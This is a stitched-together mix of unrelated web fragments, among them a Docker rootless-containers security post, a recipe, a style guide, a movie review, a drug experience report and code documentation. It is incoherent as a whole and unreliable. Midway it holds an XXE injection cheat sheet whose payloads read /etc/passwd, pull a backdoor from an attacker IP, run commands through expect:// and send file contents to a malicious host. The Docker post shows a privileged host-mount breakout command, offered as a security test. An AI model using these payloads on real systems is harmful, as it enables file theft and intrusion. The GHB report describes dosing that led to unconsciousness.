With the release of Docker 20.10, the rootless containers feature has left experimental status. This is an important step for Docker security as it allows for the entire Docker installation to run with standard user prvivileges, no use of root required. Other container solutions like Podman have had this feature for a while but if your used to Docker’s approach it’s nice to see it being available.
Docker’s documentation on rootless containers has some information about how this is achieved, but I thought it’d be interesting to have a poke around some of the details of the implementation and what it means for container security, especially as I’ll be adding this to the container security course I do.
Install and Use
Setting up rootless containers is pretty straightforward, on Ubuntu at least. You need a couple of packages to be installed (the main one you’ll likely need to add is uidmap) and then you can use Docker’s install script to set it up. Obviously I’d recommend downloading and reading the script rather than following their suggestion to pipe it straight to sh
but looking through it you’ll see it’s mainly just checking the environment before setting up and then downloading and extracting the necessary binaries to $HOME/bin
.
Once it’s installed and you tell the docker CLI where to find the socket file (in /run/user/UID/docker.sock
instead of the usual /var/run/docker.sock
) you can start using Docker. The general use case is pretty much exactly what you’d expect, docker commands work fine, you can pull and run images, execute shells in them, and do most of the other things you’d usually do.
A couple of limitations are present, specifically no cgroups support, unless you enabled cgroupsv2 at the host level and no use of ping or ports < 1024, but again these can be configured if needed. I’d expect the primary use case for rootless docker to be on shared development boxes and perhaps CI hosts, so these limitations probably are deal breakers and in both cases simple configuration options are available.
Exploring under the covers
So what’s going on here, and how does it compare to standard Docker.
User namespaces
One of the common security challenges when using containes is that they often run as the root user (uid 0) on the host. Whilst Docker has various layers of security to reduce the risk of this, it’s still a cause of potential security problems.
So now we’re running Docker without any root acccess, what happens?
With rootless docker setup, if we do something like docker run --name=rootlessweb -d nginx
to start up a container, then run docker exec rootlessweb whoami
, you’ll get back the answer root
, which shows that the container thinks it’s running as root.
To see what’s really happening, we can get the PID of the container with docker inspect -f '{{.State.Pid}}' rootlessweb
and then look for that process ID in the output of ps -ef
. What you’ll see is that instead of running as root, it’s running as your user!
The way this is being done is through the use of user namespaces which have been available in Docker (but rarely used) for quite some time. Docker is mapping uids inside the container, to different uids outside the container (which is why it needed the uidmap package installed). This allows the contained process to act as though it had root rights, without it actually having root rights to the underlying machine.
Obviously from a security standpoint this is a big positive as it means that kernel bugs that need real uid 0
to work, will be blocked as, from the perspective of the kernel, the process is unprivileged.
Capabilities
One of the things Docker does as part of its setup is use various layers of isolation on contained processes. One of those layers is capabilities. With this one, you might think it’s not going to apply to rootless containers as capabilities are often described as “piece of root rights” which don’t apply here.
However, reading the user namespace manpages, we can see that actually capabilities are still used inside user namespaces to restrict access. The important part to remember from a security standpoint is that capabilities in user namespaces can only grant rights to resources governed by that namespace. So having CAP_SYS_ADMIN in a user namespace will get you rights in that namespace, but not rights over the underlying host kernel.
We can see the capability setup by running pscap
on a host running rootless containers. For example the nginx container from the previous example will look like this
8198 8219 rorym nginx chown, dac_override, fowner, fsetid, kill, setgid, setuid, setpcap, net_bind_service, net_raw, sys_chroot, mknod, audit_write, setfcap
AppArmor
This one is not supported under rootless containers, so no profiles will be loaded (unlike standard rootful containers).
Seccomp filter
The standard Docker seccomp filter is enabled when using rootless containers, which you can see by inspecting the proc status for our contained process with cat /proc/[PID]/status | grep Seccomp
which should return a value of 2
showing there’s a seccomp profile applied.
Container breakout
So now we’ve looked at the various layers of isolation that are used in docker and how they apply (or don’t) to rootless containers, lets look at some of the practical tools and techniques and what they return when run in a rootless container.
The most pointless docker command ever
My favourite docker command is a good place to start. Running
docker run -ti --privileged --net=host --pid=host --ipc=host --volume /:/host busybox chroot /host
Generates an error. Both --pid=host
and --ipc=host
don’t work with rootless containers, after removing those we get dropped to a root shell with access to what looks like the root filesystem of the underlying host. Trying to modify things, however, shows we’re not in the real root filesystem. We can add files in system directories like /etc
, however exiting the container shows that the files haven’t actually been created, so it’s obvious that our volume mount didn’t have the effect it would have had, if we had been running a rootful container.
amicontained
Running amicontained from inside a rootless container shows that it’s easy to detect that we’re in a user namespace, and indeed information is available about how UIDs are being mapped inside the container
Container Runtime: docker
Has Namespaces:
pid: true
user: true
User Namespace Mappings:
Container -> 0 Host -> 1000 Range -> 1
Container -> 1 Host -> 100000 Range -> 65536
AppArmor Profile: unconfined
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap
Seccomp: filtering
Blocked Syscalls (64):
MSGRCV SYSLOG SETSID USELIB USTAT SYSFS VHANGUP PIVOT_ROOT _SYSCTL ACCT SETTIMEOFDAY MOUNT UMOUNT2 SWAPON SWAPOFF REBOOT SETHOSTNAME SETDOMAINNAME IOPL IOPERM CREATE_MODULE INIT_MODULE DELETE_MODULE GET_KERNEL_SYMS QUERY_MODULE QUOTACTL NFSSERVCTL GETPMSG PUTPMSG AFS_SYSCALL TUXCALL SECURITY LOOKUP_DCOOKIE CLOCK_SETTIME VSERVER MBIND SET_MEMPOLICY GET_MEMPOLICY KEXEC_LOAD ADD_KEY REQUEST_KEY KEYCTL MIGRATE_PAGES FUTIMESAT UNSHARE MOVE_PAGES UTIMENSAT PERF_EVENT_OPEN FANOTIFY_INIT NAME_TO_HANDLE_AT OPEN_BY_HANDLE_AT SETNS PROCESS_VM_READV PROCESS_VM_WRITEV KCMP FINIT_MODULE KEXEC_FILE_LOAD BPF USERFAULTFD PKEY_MPROTECT PKEY_ALLOC PKEY_FREE IO_PGETEVENTS RSEQ
botb
Using botb to try and autopwn out of a container that has the docker socket mounted runs us into a problem, which is that it tries to use --pid=host
and --ipc=host
as part of the breakout.
This is, in general, a possibly interesting point about container breakout tools, as they’re unlikely to take account of rootless containers.
Conclusion
Rootless containers are a great addition to Docker’s repetoire. In situations where you want to have users run docker commands without giving the root access to the underlying host, this will really help out. The setup and usuability are great, but you need to take account of the fact that certain things just won’t work the same way as functions reserved for the root user on the host machine won’t be usuable.


for teachers and students
2015
r-131 hr 56 min
Directed byJerrold Tarrog
Set during the Philippine-American war, Heneral Luna follows the life of one of Philippine History's most brilliant soldier, General Antonio Luna, as he tries to lead his countrymen against colonial masters new and old, and to rise above their own raging disputes to fulfill the promise of the Philippine Revolution.
for teachers and students
for teachers
Contains activities that you may use in the classroom based on the Bloom’s Taxonomy. Scroll down to learn more about it.
downloadThe Bloom’s Taxonomy gives a hierarchical order of cognitive skill that students and teachers can learn from in understanding the levels by which a student can learn. It can be used to classify learning outcomes and objectives. This scale can be used to measure and develop higher thinking skills.


Project 4: Interconnected Systems
The final assignment encourages us to bring together all of our lessons into a single concept, whether that is expanding on a previous project or developing an entirely new one. I opted to for the latter and explored a new system using new inputs and a different types of visualization.
Context
My final project was unique from the earlier projects in the class. This falls into the category of mental focus, but also touches on the abstract data visualization, similar to my Published Sensor System.
Concept
The initial concept was to measure biometric data in the forms of heart rate (BPM) and body temperature (F) to measure the state of the user and provide a scale of mental states for them to select from (e.g. calm, happy, stressed, etc.) to see if there is a correlation between the individual perception and the actual physical state.
In looking deeper into this idea, I was given the suggestion to look into the Quantified Self, in which a wide array of metrics were measured of users and visualized in numerous ways. I began to think upon ways to further develop this connection between mental and physical state. My reiteration involved taking the same biometric data and implementing it against some physical input that would encourage the user to focus on a singular task with the goal of creating a calm, focused state.
Impetus
We live in a world of compounding stresses. As students, it’s part of our daily routines.
What if there was a simple way to get us to hone in on a singular task with the only goal being mental focus?
Tools & Methods
For gathering biometrics, I used a pulse sensor and a 1-wire temperature sensor. For user input I incorporated a force resistor. I programmed a Particle Argon board to send the data via serial to a Processing sketch. I soon discovered that the existing programs for the pulse sensor were geared for the Particle Proton and Core boards, so some work was required to get it working with the Particle Argon board. Some online referencing and stripping of the original code got it up an running.
System Diagram
The plan is simple: three inputs from the user affect points on the canvas that have color, movement, separation, and cohesion.
Visualization
My first inspiration came by way of Craig Reynold's Boids program, a simulation of flocking. Playing with the characteristics of cohesion and separation, I intended on challenging the user to create a balance of cohesion to the separation created by their biometrics, resulting in a more uniform flocking of the points on the interface.
Initial response revealed that this visualization does not provide a calming or focus effect for some users, and some are even further stressed by the movement of so many points. I was given several ideas, one of which was looking into metaballs. After a few A-B tests it proved that this would be a much more effective visualization if treated correctly.
The inherent nature of the design of the metaballs program is that the movement is completely random, with no direct relationship between the points and their behavior. My resolution was to hybridize the two programs I had been exploring. The result is what I like to refer to as "MetaBoids". They are essentially the flocking Boids with the pixel relationships of metaballs, giving me the visualization of the metalballs with the cohesion and separation variables of the Boids.
Once the Particle serial data was plugged into the sketch, I was able to manipulate the color values, rate of movement, and the cohesion of the points and dial them in to provide a visual representation for users to focus their attention on.
Form Factor
The existing form factor consists of a pulse sensor strapped to my left pointer finger, a temperature sensor tucked into my waistband against my skin, and a force sensor taped to a lacrosse ball. In a real world application, the pulse sensor would be built into a pad on which a user would rest their hand, a temperature gun situated somewhere atop a display monitor, and a joystick like fixture with the force sensor built into it.
Finishing Touches
This involved fine tuning details such as visual scale, input thresholds, and color application. This five minute time lapse shows the color change as the sensor comes to my body temperature before I engage with the force sensor. I found that going from a hotter purple to a softer blue-green provided a more calming overall visual. In a few tests I discovered focusing on the uniform object effectively lowered my heart rate.
Five minute time lapse.
Future Consideration
In a situation where in-person interaction is once again deemed safe, I would love to user test the system to gather more insight on the effects of certain color applications and visual treatments.
I was pleasantly surprised at the results I managed to gather from my own trials and would like to test hypotheses regarding this single task oriented interaction.
Future Iteration
Looking forward, I would first be interested in exploring other means of biometric data gathering. I would want the system to be as minimally invasive as possible.
Then I would consider the incorporation of sound, either by way of white noise or relaxing soundtrack, added control of mediating heart rate, as well as the possibility of adding metrics of brain activity into the concept.


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Preparation time
less than 30 mins
Cooking time
10 to 30 mins
Serves
Makes 4
Dietary
This boozy, decadent dessert combines chocolate, cherries and lashings of cream to create an easy, modern-day trifle.
Place the cherry halves into a bowl and pour over half of the almond liqueur. Set aside to macerate for 15-20 minutes.
Meanwhile, preheat the grill to medium. Sprinkle the oats onto a baking tray and toast under the grill for 4-5 minutes, shaking the tray occasionally as the oats cook to ensure they turn golden-brown all over. (Alternatively, preheat the oven to 160C/325F/Gas 3 and toast the oats for 12-15 minutes.)
Repeat the toasting process with the flaked almonds (these should take less time to turn golden-brown so keep an eye on them). Set aside to cool.
Bring a little water to the boil in a pan. Reduce the heat until the water is simmering, then suspend a heatproof bowl over the water, making sure that the bottom of the bowl does not touch the water.
Add the chocolate to the bowl and stir until just melted. Remove from the heat and set aside to cool slightly.
Drizzle the honey over the toasted oats. Add the honey-coated oats to the melted chocolate and stir well.
Add the remaining almond liqueur and one-third of the double cream to the chocolate mixture and stir until well combined.
Whip the remaining cream in a bowl with the icing sugar until soft peaks form when the whisk is removed.
Divide the chocolate-and-oat mixture among four tumblers or individual trifle dishes.
Next, spoon some of the whipped cream into each dish. Layer in the macerated cherries (saving four to use as a garnish).
Spoon in the remaining whipped cream, then sprinkle over the toasted almonds.
Chill the Black Forest cranachans in the fridge for at least 30 minutes, or until needed, to firm up.
Just before serving, garnish each dessert with one of the remaining cherries.


18F UI style guide
Images
Images are used heavily throughout the site, but using them isn’t always straightforward. Below is some guidance on how we use images of various formats throughout the site.
Image formats
The primary image formats that work well for the web are SVG, JPG, PNG, and GIF. Choosing the correct format can speed up the site and lead to a better user experience. Here are some guidlines that we use when picking images on 18f.gsa.gov:
- SVG: the fastest loading images. They are generally best suited for iconography, or less complex graphics. They can be added as a Jekyll include, or as an
img
tag with a source reference. SVGs added as Jekyll includes are rendered as valid htmlsvg
elements and can be styled using CSS. - JPG: best for photos and more realistic images.
- PNG: best for text-heavy images, line art, or images with fewer colors.
- GIF: should only be used for simple animations.
JPG, PNG, and GIF can only be added as an img
tag with a source reference.
Using and optimizing JPG and PNG
Before adding images to the site, make sure that they are optimized for the web. Images should be as small as possible without reducing image quality.
- Crop images to correct dimensions and size. Hero images can be large, but shouldn’t exceed 1040px, the max-width for the site.
- Export it in the proper format. A good rule of thumb is that JPG is good for photographs and more realistic images, while PNG is best for text-heavy images, line art, or images with fewer colors.
- Then it is time to compress your image.
- JPG: you may be able to do some initial compression within your image editor (e.g., Photoshop), establishing a good tradeoff between image quality and image size. For additonal compression, download ImageOptim to optimize the the image further.
- PNG: drop it into ImageOptim or ImageAlpha and reduce the color palette, establishing a good tradeoff between image quality and size. If the PNG has an alpha channel, turn it into a transparent PNG-8 instead.
- Follow these steps to add to the repository.
Using SVGs
SVG is file type as well as a valid HTML element. What this means is that SVGs can be referenced as an img
element that represents the SVG graphic as a whole or as an svg
element that can be styled using CSS, like a font.
The prefered method for adding SVGs on 18f.gsa.gov is as a Jekyll include, as shown below. Follow these steps to use SVGs as regular images.
-
{% include svg/icons/agile-icon.svg %}
-
To use an SVG as an include:
- Add the SVG to the
/_includes/svg/
directory. - In an include tag, reference the file path of the SVG relative to the
_includes
directory.
Accessibility
To follow accessibility guidelines, make sure that the SVG image file contains all the necessary markup to allow screenreader users to browse your site without difficulty. From the WCAG guidlines on creating accessibile SVGs:
title
: Provides a human-readable title for the element that contains it. Thetitle
element may be rendered by a graphical user agent as a tooltip. It may be rendered as speech by a speech synthesizer.desc
: Provides a longer more complete description of an element that contains it. Authors should provide descriptions for complex or other content that has functional meaning.
If the SVG is a presentation only image, meaning that it is assistive, but not necessary to provide context within the site, add the following attributes to the
svg
tag itself:role="img"
aria-hidden="true"
- Add the SVG to the
SVG include catalog
This is a list of all of the SVGs that are available as includes (in the _includes
directory). All icons are set to their default sizes.
svg/icons/agile-icon.svg:
svg/icons/arrow-left.svg:
svg/icons/arrow-right.svg:
svg/icons/close.svg:
svg/icons/folderwithclock.svg:
svg/icons/gavel.svg:
svg/icons/monitor.svg:
svg/icons/open-icon.svg:
svg/icons/respect-icon.svg:
svg/icons/user-centered-icon.svg:
-
**svg/icons/agile-icon.svg:** {% include svg/icons/agile-icon.svg %} **svg/icons/arrow-left.svg:** {% include svg/icons/arrow-left.svg %} **svg/icons/arrow-right.svg:** {% include svg/icons/arrow-right.svg %} **svg/icons/close.svg:** {% include svg/icons/close.svg %} **svg/icons/folderwithclock.svg:** {% include svg/icons/folderwithclock.svg %} **svg/icons/gavel.svg:** {% include svg/icons/gavel.svg %} **svg/icons/monitor.svg:** {% include svg/icons/monitor.svg %} **svg/icons/open-icon.svg:** {% include svg/icons/open-icon.svg %} **svg/icons/respect-icon.svg:** {% include svg/icons/respect-icon.svg %} **svg/icons/user-centered-icon.svg:** {% include svg/icons/user-centered-icon.svg %}
-
As mentioned above, the icons defined above are set to their default size. For some icons this is defined as by the
width
andheight
attributes on the SVG. For the smallest icons, it is set by the.icon
class on the SVG itself.
Adding images
To add images to the site:
- Add the image to the assets directory.
- Blog images go in the
/assets/blog/
directory. The subdirectories are organized by topic, so place the image in the directory that pertains to blog post’s primary topic. For detailed information on adding images to the blog, see Blog. - All other images can go in the/assets/img/
directory. - Reference the file path in an image tag, making sure to prefix the path with
{{ site.baseurl }}
and addingalt
text for accessibility purposes.
Example of successful image reference with alt text
Example of successful image reference with empty alt text
Example of failed image with alt text
Example of failed image without alt text
-
#### Example of successful image reference with alt text  #### Example of successful image reference with empty alt text  #### Example of failed image with alt text  #### Example of failed image without alt text
-
The primary way to use both site and blog-specific images is to directly call the image path in an
img
tag.- The
/site
insures that the path is relative to the root of the directory. - Ensure that each image has
alt
text for improved site accessibility. - If the image is presentational only, empty alt text can be added, like so:
alt=""
.
- The
Image lists
This pattern associates text with an icon to break up text blocks improve user understanding.
-
Respect for government workers
Civil servants have tremendous knowledge about what it takes to achieve their agency’s mission. We help clear technical and governmental hurdles to better serve the public.
-
Human-centered design
We listen to real users to understand their needs and build things that will be useful to them — without sacrificing technical or regulatory requirements.
-

{% include svg/icons/respect-icon.svg %}

Respect for government workers

Civil servants have tremendous knowledge about what it takes to achieve their agency’s mission. We help clear technical and governmental hurdles to better serve the public.

{% include svg/icons/user-centered-icon.svg %}

Human-centered design

We listen to real users to understand their needs and build things that will be useful to them — without sacrificing technical or regulatory requirements.

-
This component is not available as a Jekyll include. To use it, copy the code snippet above and update the icon, title, and body text accordingly.
Additional resources:


Man claiming to be Anas Aremeyaw Anas reportedy arrested (+Video)
by Nana YawA man claiming to be the investigative journalist, Anas Aremeyaw Anas has reportedly been arrested after an attempt to defraud people of their lands.
The man who was without his usual mask in a video making rounds on social media was seen been heckled some residence at Tsado, a suburb of Accra who felt he was a fraudster.
The purported Anas according to comments in the video was caught after he tried to dupe some people around the Tsado residence so he can steal their land documents.
The man who had the purported Anas grabbed stated that when he was caught, he claimed he was the popular investigative journalist, Anas Aremeyaw Anas.
See the video below:


I confess I have not see the original "Austin Powers" film and after seeing this monotonous, joyless sequel, I can't say I am overjoyed at the prospect. That is not to say that this is a bad film - there are moments of great black humor - but it is too long, disjointed, gross, and silly to make me want to get involved in any future Austin Powers adventures.
The film starts off well with hairy-chested, 60's reject Austin (Mike Myers) having a romp in the hay with a beautiful Elizabeth Hurley. It turns out she is a Fem-Robot and fires bullets from her nipples!!! Then we are treated to a hysterical, off-the-wall dance number with Austin's derriere serving as the butt of jokes, no pun intended. Then there is the mysterious Dr. Evil (Mike Myers, again) who is soft-spoken and fights with a Klu-Klux Klan member at a Jerry Springer show.  Why Dr. Evil wants it, and plans on destroying Washington, D.C. with a death ray from a "Death Star," I am not sure.
Austin's shenanigans with the beautiful and sexy spy Felicity Shagwell (Heather Graham) make up for some of the film's dead spots. There is an uncomfortably unfunny Scottish henchman named Fat Bastard (an unrecognizable Mike Myers) who smells and humps and thumps like a Tyrannosaurus Rex. The joke involving his feces is as grossly underimagined as you might think, but this character quickly grows tiresome and has none of the spark of Myer's Scottish father in the underrated "So I Married an Axe Murderer."
Heather Graham seems to have been on a slump since her success with "Boogie Nights," and here she is bland and seemingly unfit for the crazy universe she is in. She looks bored each time she shares a scene with Austin. When Graham dulls my senses in a movie, you know you are in cinematic trouble.
"Austin Powers" works best when Dr. Evil appears and his counterpart, Mini-Me, and thus I enjoyed their conference scenes. I also liked Seth Green as Dr. Evil's spoiled son, and it is a pleasure to see a cameo of Tim Robbins as the President of the United States.  I was ready to say to Austin, "Zip it." Save for some brilliantly funny gags and one-liners, "Austin Powers" is too dependable on his mojo to really work.
For more reviews, check out JERRY AT THE MOVIES at http://buffs.moviething.com/buffs/faust/
E-mail me with any questions, comments or complaints at<EMAIL_ADDRESS>or<EMAIL_ADDRESS>The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
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Related links: index of all rec.arts.movies.reviews reviews


Travel RouterRouter is in wireless bridge mode. Enter the WiFi SSID/password you want to tunnel through:


XML external entity injection
DETECTION
Look for inputs which accepts any XML data:- direct input via URL parameters
- input via files containing XML data (.xml, .docx, .xlsc, .pptx, ...)
Original request (POST data)
<Search><SearchTerm>nothing will change</SearchTerm></Search>
Internal entity
Test if internal entity possible by defining and referencing it
<!DOCTYPE person [- <!ENTITY person "AliceEntity">
]>
<somexml><message>Hello world &person;</message></somexml>
This should output
Hello world AliceEntity
External entity
Instead of file:// wrapper we can use
php://filter/convert.base64-encode/resource=/file/to/read
wrapper and decode output in burp
Simple test for external entity
python -m SimpleHttpServer 80
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.malicious.com/XXE" > ]>;
<some_proper_tagname>&xxe;</some_proper_tagname>
File retrieval and LFI(sometimes works for directory listing file:///etc/)
<!DOCTYPE foo [- <!ENTITY filexxe SYSTEM "file:///windows/win.ini">
]>
<Search><SearchTerm>&filexxe;</SearchTerm></Search>
<!DOCTYPE foo [- <!ENTITY filexxe SYSTEM "file:///etc/passwd">
]>
<Search><SearchTerm>&filexxe;</SearchTerm></Search>
RFI and RCE
<!DOCTYPE foo [- <!ENTITY rfixxe SYSTEM "http://<attacker_ip>/backdoor.php">
]>
<Search><SearchTerm>&rfixxe;</SearchTerm></Search>
RCE through enabled expect:// wrapper
<!DOCTYPE foo [- <!ENTITY rce SYSTEM "expect://id">
]>
<Search><SearchTerm>&rce;</SearchTerm></Search>
Proxy HTTP traffic injection
<!DOCTYPE foo [- <!ENTITY xxe SYSTEM "http://<IP_ADDRESS>:25">
]>
<Search><SearchTerm>&xxe;</SearchTerm></Search>
Extract data via outbound HTTP requests
Version 1
<!DOCTYPE foo [- <!ELEMENT foo ANY >
- <!ENTITY % xxe SYSTEM "file:///etc/passwd" >
- <!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]>
<foo>&callhome;</foo>
Version 2 (remote server gets malicious DTD from attacker's machine)
<!DOCTYPE root [- <!ENTITY % file SYSTEM "file:///etc/passwd">
- <!ENTITY % dtd SYSTEM "http://<IP_ADDRESS>/ext.dtd">
%dtd;
%send;
]]>
EXPLOITATION
HTTP requests to internal servers which cannot be reached from outside (SSRF)
Port scanner (SSRF)
<!DOCTYPE student [- <!ENTITY oops SYSTEM "http://scanme.nmap.org:20/">
]>
<student><name>&oops;</name></student>
Analyze errors in responses
DOS attacks
call payload multiple times
<!DOCTYPE student [- <!ENTITY oops SYSTEM "file:///dev/random">
]>
<student><name>&oops;</name></student>
Quadratic blowup
<!DOCTYPE student [- <!ENTITY x "xxxxxxxxxxxxxxxxx..."> (50,000-100,000)
]>
<student>&x;&x;&x;&x;&x;&x;&x;&x;&x;...</student> (50,000-100,00)


Founder/Lead Web Developer
Jasmine is a full stack developer with has a trackrecording of producing highly functional websites that convert visitors to customers. Jasmine has experience with content management systems and e-commerce products.
Lead Designer
Self taught graphic designer. Proficient in Adobe Creative Suites. Graphic and illustration work for hundreds of creatives and business’s; ranging from logo design, UI/UX, marketing and branding curation/conceptualization.
Digital Code Agency is a full service digital design and development firm with a track record of creating world class websites and digital campaigns. Our methodology ensures client success with our tailored apporach to turning complex concepts into simple execution.
Our methodology rests not on educated guesses, but informed decisions based on data. We'll guide you through the twists and turns of complex projects into the promsied land of digital success.
Phase I
While you get to know us, we have to get to know you.  We ask questions. A lot of questions. During this phase, we put together a collaborative roadmap that is part you and part us. This roadmap informs the rest of the project so our compasses are always pointed in the right direction.
Phase II
Everyone's favorite phase, the creative. During this phase, our team will start to seed you with preliminary sketches, wireframes, and prototypes. We'll put together a comprenhensive set of moodboards so that we understand your creative tastes. This phase is where you start to see the strategy take a distinct turn into results.
Phase IIII
What's beauty without brains? All of the hardwork completed during the Creative phase gets a fresh breath of life as you start to see static concepts become fully functional digital assets. You'll see how subtle animations create depth. You'll be presented with fully-functional concept views as we complete them for your feedback. By the end of this phase, we'll have a completely ready, beta product for review by you and your team.
Phase V
Everything is tested. Everything. From web browsers to mobile devices, we ensure that no matter how your audience chooses to view your website, that we've crossed the T's and dotted the I's to ensure seamless delivery. Upon final approval by your team, we push the magic launch button and watch your business sprout new wings.


Numbers 4:4
This shall be the service of the sons of Kohath in the tabernacle of the congregation, about the most holy things:


jQuery provides some basic animation features for showing and hiding elements, as well as a low-level animation function that can be used to animate several CSS properties (as long as they are numeric).
jQuery provides some basic animation features for showing and hiding elements, as well as a low-level animation function that can be used to animate several CSS properties (as long as they are numeric).


Under the File → Open Recent menu item, the application will track the recent graph files. The listing can be selected to quickly open then without having to go through the "Open" dialog.


Manure
Manure is the decomposed form of dead plants and animals which is applied to the soil to increase the production. It is a natural form of fertilizer and is cost-effective. The human and animal excreta is also used as manure. The livestock manure is rich in nitrogen, phosphorus, and potassium.
Manure is highly rich in organic matter and humus and thus improves the soil fertility. These are better in the long run and does not cause any pollution. It is a valuable and renewable resource.
Manuring
Manure can be obtained from various sources. The different sources of manure are mentioned below:
Cattle dung, urine, and slurry from biogas plants.
Wastes from human habitation such as human urine, night soil, sludge, sewage, domestic waste.
Droppings of goat and sheep
Waste from the slaughterhouses such as bones, meat, horn and hoof meal, fish waste
By-products of agricultural industries
Crop waste
Weeds, water hyacinth
Types of Manure
Manure can be grouped as farmyard manure, green manure and compost manure. Following are the different types of manure used by the farmers:
Green Manure
Green manure increases the percentage of organic matter in the soil. The roots of such manures go deep into the soil. These help in the suppression of weeds and the prevention of soil erosion.
Farmyard Manure
Farmyard manure improves the soil structure and is used as a natural fertilizer in farming. It increases the soil capacity to hold more water and nutrients. It also increases the microbial activity of the soil to improve its mineral supply and also the plant nutrients.
Compost Manure
It improves the soil structure and water and nutrient holding capacity of the soil. Thus, it increases the nutrient value and thereby improves the health of the plants.
Advantages of Manure
These are a good source of macronutrients.
Improves soil fertility.
Cost-effective
Reduces soil erosion and leaching.
Improves the physical properties of the soil and aerates the soil.
Improves the water and nutrient holding capacity of the soil.
It helps in killing weeds and pests.
It can be transported easily.
Methane gas is evolved as the by-product of manure that can be used for cooking and heating purposes.
The crops grown on the land treated with manure produces healthy crops.


Icon Buttons
Icon buttons allow users to take actions, and make choices, with a single tap.
References
Import
Design & API Documentation
Selector:
button[mdcIconButton]
a[mdcIconButton]
mdc-icon-button
| Properties |
Description |
| on: boolean |
Sets the toggle state to the provided value. |
| disabled: boolean |
Disables the icon button. |
| icon: string |
Optional. Set a Material Icon as a non-toggle icon. |
| Methods |
Parameters |
| toggle(isOn?: boolean) |
Toggles the icon toggle state. If an argument is given, will toggle on if true, off if false. |
| Events |
Description |
| change: MdcIconButtonChange |
Emits when the icon is toggled. |
Selector:
mdcIcon[mdcIconOn]
mdcIconOn
| Apply to an mdc-icon, and is used to indicate the toggle button icon representing the "on" icon. |
Sass Mixins
To customize an icon button's color and properties, you can use the following mixins.
Sass Mixins
Basic Usage
EDIT IN STACKBLITZ


Projects
Contact
About
General
Achievements
Skills
Education
Experience
Testimonials
N
Home
Projects
Contact
About
Let's get in touch.
  Loacted in O'Fallon, MO (63368)
  Phone:
+(636) 317 - 7465
  Email:
<EMAIL_ADDRESS>

Contact Me
How can I reach you?
Phone Call
SMS/Text
Email


1. Assemble a group of four in trust.
2. Collect twenty dollars in change.
3. Play poker, or any other fast-paced betting game.
Throw three coins.
 If the losing side is the tail, add one coin to the pool.
If no side loses, put the coins away.
Forget about winning!
Evaluate your resources.
Determine the right move.
There is only one right move!
Make the right move.
Evaluate your resources...


For the past 20 years we have been operating hydrophones in the Salish Sea in an
effort to learn how orca whales use underwater sound.
We have learned the following:
Orca's increase the energy they put into their calls when the ambient noise
around them increases and when there are more boats in their neighborhood.


Please reach out if you ever feel the desire to do so!
© 2021 Paris Flood.
Email: {first letter in my first name}dl{first letter in my last<EMAIL_ADDRESS>Twitter: @paris_flood
Address: William Gates Building, JJ Thomson Avenue, Cambridge, Cambridgeshire, UK. CB3 0FD.


{% extends "base.html" %}{% load i18n %} {% block content %}
{% trans 'Please login to continue' %}
{% blocktrans trimmed %}Your username and password didn't match. Please try again.{% endblocktrans %}
{% blocktrans trimmed %}Your account doesn't have access to this page. To proceed, please login with an account that has access.{% endblocktrans %}
{% trans 'Please login to see this page.' %}
{% trans 'Secure log-in:' %} {% trans 'Switch to SSL' %}
{% trans 'Did you lose your password?' %} {% trans 'Try resetting your password.' %}


| DOSE: |
1 cap |
oral |
GHB |
(liquid) |
I am certainly a professional in the realm of drug experimentation and saw no reason to be anything but mildly cautious with my first experience in GHB. I drank nothing that night and had smoked just a little marijuana. My freind gave me one cap full citing that he had already taken three (and ended up taking over ten that night).
Within thirty seconds I began to feel the nausea I sometimes feel when getting motion sickness in the car or on a swing. Around the two minute mark there was a short period where the nausea subsided and i began to feel what i am sure is the high of this drug. Strangely euphoric and a beautiful, slightly numb body high. This lasted less than a minute. My last memmories were trying to type something on a keyboard and thinking how lovely the keys felt against my face.
 Someone had laid me out face up on the couch after i had passed out at the computer. About an hour later someone else noticed i was throwing up in that position and my friends pretty much hung with my unconscious throwing up body for the next two hours.
I have never had any allergies to anything and tend to be a rather robust partier when the moment calls for it.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


handleResult = (commands, currentCommandNumber, result, context, cb) ->
if result.exitCode is 0
handleSuccess commands, currentCommandNumber, context, cb
else
handleFailure result.stderr, cb
Handles an executed command's results
@commands {Array}
@currentCommandNumber {Number}
@result {Object}
@context {Object}
@cb {Function}
handleResult = (commands, currentCommandNumber, result, context, cb) ->
if result.exitCode is 0
handleSuccess commands, currentCommandNumber, context, cb
else
handleFailure result.stderr, cb
handleFailure = (errStack, cb) ->
cb new Error errStack
Handles a successfully executed command
@commands {Array}
@currentCommandNumber {Number}
@context {Object}
@cb {Function}
handleSuccess = (commands, currentCommandNumber, context, cb) ->
if currentCommandNumber < commands.length-1
currentCommandNumber++
context.libs.runner.runCommand context, commands, currentCommandNumber, cb
else
cb null
attach = (libs) ->
libs.handler = handleResult
Expose the attach function
module.exports = attach


Serializeable error description. It is use to pass information about errors between microservices implemented in different languages. On the receiving side ErrorDescription is used to recreate exception object close to its original type without missing additional details.
More...
Serializeable error description. It is use to pass information about errors between microservices implemented in different languages. On the receiving side ErrorDescription is used to recreate exception object close to its original type without missing additional details.
See ApplicationException, ApplicationExceptionFactory
◆ Category
| string PipServices3.Commons.Errors.ErrorDescription.Category |
|
getset |
◆ Cause
| string PipServices3.Commons.Errors.ErrorDescription.Cause |
|
getset |
Original error wrapped by this exception
◆ Code
| string PipServices3.Commons.Errors.ErrorDescription.Code |
|
getset |
◆ CorrelationId
| string PipServices3.Commons.Errors.ErrorDescription.CorrelationId |
|
getset |
A unique transaction id to trace execution throug call chain
◆ Details
A map with additional details that can be used to restore error description in other languages
◆ Message
| string PipServices3.Commons.Errors.ErrorDescription.Message |
|
getset |
A human-readable error description (usually written in English)
◆ StackTrace
| string PipServices3.Commons.Errors.ErrorDescription.StackTrace |
|
getset |
Stack trace of the exception
◆ Status
| int PipServices3.Commons.Errors.ErrorDescription.Status |
|
getset |
HTTP status code associated with this error type
◆ Type
| string PipServices3.Commons.Errors.ErrorDescription.Type |
|
getset |
Data type of the original error
The documentation for this class was generated from the following file:
- src/Errors/ErrorDescription.cs


Dgame.Window.Event
- enum WindowEventId: ubyte;
- Specific Window Events.
- None
- Nothing happens
- Shown
- Window has been shown
- Hidden
- Window has been hidden
- Exposed
